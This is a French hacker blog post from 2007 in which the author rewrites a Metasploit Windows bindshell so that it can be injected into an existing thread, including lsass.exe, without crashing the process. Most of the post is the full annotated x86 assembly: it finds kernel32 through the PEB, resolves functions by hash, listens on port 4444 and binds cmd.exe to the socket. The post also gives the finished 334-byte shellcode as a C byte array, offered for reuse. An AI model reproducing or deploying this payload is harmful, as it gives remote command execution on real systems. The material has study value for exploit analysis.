Shellcoding and others
août 4th, 2007 at 02:52 admin
La rumeur faisant courir que je me suis fait enlevé par les Aliens est vraie. Depuis 1 mois, je suis, dans le cadre d’une opération appelé « Stage de découverte d’entreprise » retenu de force par mes ravisseurs. Ceux-ci m’ont forcé à développer une arme visant à conquérir le monde (et je peux vous dire que j’en suis proche mouhahaha !). Ce qui est marrant quand on fait du dev kernel Windows, c’est que personne ne vous comprend, exemple : « Alors là, tu vois je fais un IoAllocateMdl sur mes pages ensuite je les verrouille avec MmProbeAndLockPages puis je les map dans le user space d’un process avec un MmMapLockedPagesSpecifyCache avec le param AccessMode mit à un UserMode en oubliant pas avant de m’être attach à l’EPROCESS avec un KeStackAttachProcess, c’est plus classe qu’un NtMapViewOfSection tu trouves pas ? », à l’autre de me répondre « Heuu … Bon ca marche oui ou merde ? ». Bref tout ca pour dire je suis un peu tout seul dans mon petit monde mais que je m’éclate bien. Dernièrement un truc con m’est arrivé, j’avais besoin pour test une feature de mon tool, d’injecter un code dans un thread déjà existant. Sachant que je voulais lancer quelque chose d’utile, typiquement un bindshell ou un reverseshell, j’ai voulu use les shellcodes de metasploit avant de m’apercevoir que ces derniers s’en foutaient un peu du contexte d’exécution ou ils se trouvaient (ce qui est normal, vu qu’ils sont fait pour être use dans le cadre d’une exploitation d’un bug qui souvent finit par un crash du programme). En fait pour quitter les payloads de metasploit utilisent soit un ExitProcess, soit un ExitThread ou bien un UnhandledExceptionFilter et defonce completement la stack, bref si on tente d’injecter un de ces payload dans un thread « propre » par exemple dans le cadre d’un APC, on fait planter le process et c’est pas vraiment cool si c’est lsass.exe … dionc, la flemme de chercher sur google on disass le shellcode puis on le modifie from scrach ! hop hop hop tokaff !
J’ai choisit de modif le bindshell provenant de metasploit ouvrant le port 4444 et nous renvoyant un socket binder sur un cmd.exe
Le shellcode bien évidemment s’exécutant dans un environnement doit être capable de retrouver les fonctions dont il a besoin tout seul comme un grand, sans rien hardcoder. Pour cela, trick habituel, kernel32 est retrouvé dans le PEB, ensuite on une fonction qui va scanner d’EAT du module et hasher les noms des fonctions puis les comparer à ceux qu’on cherche. Le shellcode va donc effectuer les opérations suivantes :
- Retrouver l’ImageBase de Kerne32 dans le PEB_LDR_DATA du PEB.
- Charger la lib winsock avec un LoadLibrary(« ws2_32″);
- WSAStartup()
- WSASocket()
- bind()
- listen
- accept()
- closesocket() pour fermer le socket en écoute
- CreateProcess() sur cmd.exe
- WaitForSingleObject() pour attendre que le cmd.exe soit kill
- closesocket() pour close le socket récup par accept
La routine quoi, allay voilà la purée après disass et modification :
.586
.model flat,stdcall
option casemap:none
assume fs:nothing
.code
start:
cld
startlol:
push 0FFFFFFEBh
db 4Fh
call near ptr startlol+1
;00400220 FC CLD
;00400221 6A EB PUSH -15
;00400223 4D DEC EBP
;00400224 E8 F9FFFFFF CALL bind.00400222
;00400222 /EB 4D JMP SHORT bind.00400271
;trick pour avoir sur le stack en saved eip le debut de la fct de hash avec un couple call/jmp
;function de recherche dans l'EAT avec hash des noms de fct, stdcall convention
; IN : Module Handle
; IN : hash
; OUT : function VA
pushad
mov ebp, [esp+24h] ; ebp=module handle, 1er arg
mov eax, [ebp+3Ch]
mov edi, [ebp+eax+78h]
add edi, ebp
mov ecx, [edi+18h]
mov ebx, [edi+20h]
add ebx, ebp
nextname:
dec ecx
mov esi, [ebx+ecx*4]
add esi, ebp
xor eax, eax
cdq
hash:
lodsb
test al, al
jz hashend
ror edx, 0Dh
add edx, eax
jmp short hash
hashend:
cmp edx, [esp+28h] ; compare notre avec le hash passe en 2 eme arg
jnz short nextname
mov ebx, [edi+24h]
add ebx, ebp
mov cx, [ebx+ecx*2]
mov ebx, [edi+1Ch]
add ebx, ebp
add ebp, [ebx+ecx*4]
mov [esp+1Ch], ebp ;ecrit l'addr dans le saved eax du pushad
popad
retn 8
; end hash fct
;AAAAAAAAAAAAAAAAAA we jmp here AAAAAAAAAAAAAAAAAA
xor ebx, ebx
mov eax, fs:[ebx+30h]
mov eax, [eax+0Ch]
mov esi, [eax+1Ch]
lodsd
mov edi, [eax+8] ;edi=kernel32 module
pop esi ; esi = addr fct hash, pushe avec le call/jump d'avant
push 0CE05D9ADh ;hash WaitForSingleObject
push edi ;kernel32 module
call esi
push eax ; on push le WaitForSingleObject pour le recup plus loin
push 16B3FE72h ;hash CreateProcess
push edi;kernel32 module
call esi
push eax ;pour le CreateProcess plus loin
;ici on a sur la pile
;@WaitForSingleObject
;@CreateProcess
;0FFFFFFEBh
;saved eip
push 0EC0E4E8Eh ;hash loalibrary
push edi
call esi
push 3233h ;"32x00x00" ;
push 5F327377h ; "ws2_"
push esp
call eax ;loadlibrary("ws2_32");
add esp, 08h
mov edi, eax ;edi = ws2_32 module handle
push 3BFCEDCBh ;hash WSAStartup
push eax ;ws2_32 module handle
call esi
mov ebp, esp
sub esp, 400 ;sizeof(WSADATA)=400d
push esp
push 2
call eax ; WSAStartup
add esp, 400
push 0ADF509D9h ;hash WSASocket
push edi
call esi
push ebx ;
push ebx
push ebx
push ebx
inc ebx
push ebx ;1=SOCK_STREAM
inc ebx
push ebx ;2=AF_INET
call eax ;WSASocket
xchg ebp, eax ;ebp=socket
push 0c7701aa4h;hash bind
push edi
call esi
xor edx, edx
push edx ; sockaddr_in.sin_zero
push edx ; sockaddr_in.sin_zero
push edx ; sockaddr_in.n_addr=INADDR_ANY
push 5C110002h ;port 4444 (0x115C), family 2 AF_INET
mov ecx, esp; ecx=addr struct sockaddr
push 10h
push ecx
push ebp ;socket
call eax;bind
add esp, 10h
push 0E92EADA4h;hash listen
push edi
call esi
push 2
push ebp
call eax ; listen
push 498649E5h ;hash accept
push edi
call esi
sub esp, 10h
push esp ;Optional pointer to an integer that contains the length of addr.
push esp ;Optional pointer to a buffer that receives the address of the connecting entity (sockaddr struct)
push ebp
call eax ;accept
add esp, 10h
xchg eax, ebx ;ebx=new socket recup de accept()
push 79C679E7h ;hash closesocket
push edi
call esi
mov [esp+8], eax; push closesocket
push ebp
call eax ;closesocket, ferme le socket d'ecoute
pop esi ;recupere createprocess
push ebx ;push le socket pour apres
push " dmc" ;cmd
mov ebp, esp
push 50h
pop ecx
sub esp, ecx ;
mov edi, esp
push 44h ;STARTUPINFO.cb=44h
mov edx, esp ;edx pointe sur notre struct STARTUPINFO
xor eax, eax
rep stosb
;remplit le champ dwFlags
inc byte ptr [edx+2Dh] ; STARTF_USESHOWWINDOW
inc byte ptr [edx+2Ch] ;STARTF_USESTDHANDLES
;If dwFlags specifies STARTF_USESHOWWINDOW,
;this member can be any of the SW_ constants defined in Winuser.h. Otherwise, this member is ignored.
;SW_HIDE=0 donc la fenetre ne sera pas visible
xchg eax, ebx
lea edi, [edx+38h]
stosd ;STARTUPINFO.hStdInput=socket
stosd ;STARTUPINFO.hStdOutput=socket
stosd ;STARTUPINFO.hStdError=socket
pop ebx
push edi
push edx
push ecx
push ecx
push ecx
push 1 ;inheritable handles
push ecx
push ecx
push ebp
push ecx
call esi; CreateProcess
add esp, 54h
pop esi ;recup la socket
pop ebx ;recup WaitForSingleObject
push 0FFFFFFFFh
push dword ptr [edi]
call ebx ;WaitForSingleObject
pop ebx; recup closesocket
push esi
call ebx
retn
end start
Pas la peine de troller sur l’optimisation, je ne suis pas un monstre en ASM et puis comme il s’agit d’une « copie de mémoire » je m’en fou des NULL bytes, c’est avant tout pour moi, libre à vous de le modifier
On a le payload suivant :
unsigned char shellcode[] ={
0xFC, 0x6A, 0xEB, 0x4F, 0xE8, 0xF9, 0xFF, 0xFF, 0xFF, 0x60, 0x8B, 0x6C, 0x24, 0x24, 0x8B, 0x45,
0x3C, 0x8B, 0x7C, 0x28, 0x78, 0x03, 0xFD, 0x8B, 0x4F, 0x18, 0x8B, 0x5F, 0x20, 0x03, 0xDD, 0x49,
0x8B, 0x34, 0x8B, 0x03, 0xF5, 0x33, 0xC0, 0x99, 0xAC, 0x84, 0xC0, 0x74, 0x07, 0xC1, 0xCA, 0x0D,
0x03, 0xD0, 0xEB, 0xF4, 0x3B, 0x54, 0x24, 0x28, 0x75, 0xE5, 0x8B, 0x5F, 0x24, 0x03, 0xDD, 0x66,
0x8B, 0x0C, 0x4B, 0x8B, 0x5F, 0x1C, 0x03, 0xDD, 0x03, 0x2C, 0x8B, 0x89, 0x6C, 0x24, 0x1C, 0x61,
0xC2, 0x08, 0x00, 0x33, 0xDB, 0x64, 0x8B, 0x43, 0x30, 0x8B, 0x40, 0x0C, 0x8B, 0x70, 0x1C, 0xAD,
0x8B, 0x78, 0x08, 0x5E, 0x68, 0xAD, 0xD9, 0x05, 0xCE, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x72, 0xFE,
0xB3, 0x16, 0x57, 0xFF, 0xD6, 0x50, 0x68, 0x8E, 0x4E, 0x0E, 0xEC, 0x57, 0xFF, 0xD6, 0x68, 0x33,
0x32, 0x00, 0x00, 0x68, 0x77, 0x73, 0x32, 0x5F, 0x54, 0xFF, 0xD0, 0x83, 0xC4, 0x08, 0x8B, 0xF8,
0x68, 0xCB, 0xED, 0xFC, 0x3B, 0x50, 0xFF, 0xD6, 0x8B, 0xEC, 0x81, 0xEC, 0x90, 0x01, 0x00, 0x00,
0x54, 0x6A, 0x02, 0xFF, 0xD0, 0x81, 0xC4, 0x90, 0x01, 0x00, 0x00, 0x68, 0xD9, 0x09, 0xF5, 0xAD,
0x57, 0xFF, 0xD6, 0x53, 0x53, 0x53, 0x53, 0x43, 0x53, 0x43, 0x53, 0xFF, 0xD0, 0x95, 0x68, 0xA4,
0x1A, 0x70, 0xC7, 0x57, 0xFF, 0xD6, 0x33, 0xD2, 0x52, 0x52, 0x52, 0x68, 0x02, 0x00, 0x11, 0x5C,
0x8B, 0xCC, 0x6A, 0x10, 0x51, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x68, 0xA4, 0xAD, 0x2E, 0xE9,
0x57, 0xFF, 0xD6, 0x6A, 0x02, 0x55, 0xFF, 0xD0, 0x68, 0xE5, 0x49, 0x86, 0x49, 0x57, 0xFF, 0xD6,
0x83, 0xEC, 0x10, 0x54, 0x54, 0x55, 0xFF, 0xD0, 0x83, 0xC4, 0x10, 0x93, 0x68, 0xE7, 0x79, 0xC6,
0x79, 0x57, 0xFF, 0xD6, 0x89, 0x44, 0x24, 0x08, 0x55, 0xFF, 0xD0, 0x5E, 0x53, 0x68, 0x63, 0x6D,
0x64, 0x20, 0x8B, 0xEC, 0x6A, 0x50, 0x59, 0x2B, 0xE1, 0x8B, 0xFC, 0x6A, 0x44, 0x8B, 0xD4, 0x33,
0xC0, 0xF3, 0xAA, 0xFE, 0x42, 0x2D, 0xFE, 0x42, 0x2C, 0x93, 0x8D, 0x7A, 0x38, 0xAB, 0xAB, 0xAB,
0x5B, 0x57, 0x52, 0x51, 0x51, 0x51, 0x6A, 0x01, 0x51, 0x51, 0x55, 0x51, 0xFF, 0xD6, 0x83, 0xC4,
0x54, 0x5E, 0x5B, 0x6A, 0xFF, 0xFF, 0x37, 0xFF, 0xD3, 0x5B, 0x56, 0xFF, 0xD3, 0xC3};
Ce qui fait au total 334 Bytes pour avoir un shellcode « propre », par rapport aux 317 de l’original qui defoncait tout, je m’en sors pas mal
Sinon truc bête, après que vous ayez le shell, le thread est bloqué à cause de WaitForSingleObject, je corrigerais cela plus tard en demandant au shellcode de creer un new thread.
A par ça, Imminity nous a release son Immunity Debugger qui est un OllyDbg auquel ils ont ajoutés une interface python, c’est mignon mais ca casse pas des briques.
Rutkowska qui à release les sources de son BlueBill réécrit, qui si elles compilaient pourraient être sympa à regarder, faut quand même dire que ceux qui sont capable de capter ce genre de trucs ne courent pas les rues …. (Avis aux amateurs de prise de tête). J’vais quand même lire les slides de sa dernière conf IsGameOver()? En espérant comprendre la moitié.
Un jour peut-être qui sait …
Entry Filed under: Non classé
3 Comments
1. newsoft | août 6th, 2007 at 06:21
… un jour où tu trouveras un stage sur le sujet, avec des gens qui maitrisent Windows, par exemple …
2. Christophe | août 8th, 2007 at 10:25
stfu
3. Laxigue | août 9th, 2007 at 13:58
Non c’est moi qui dominerer le monde.
HACK THE PLANET !!!
Trackback this post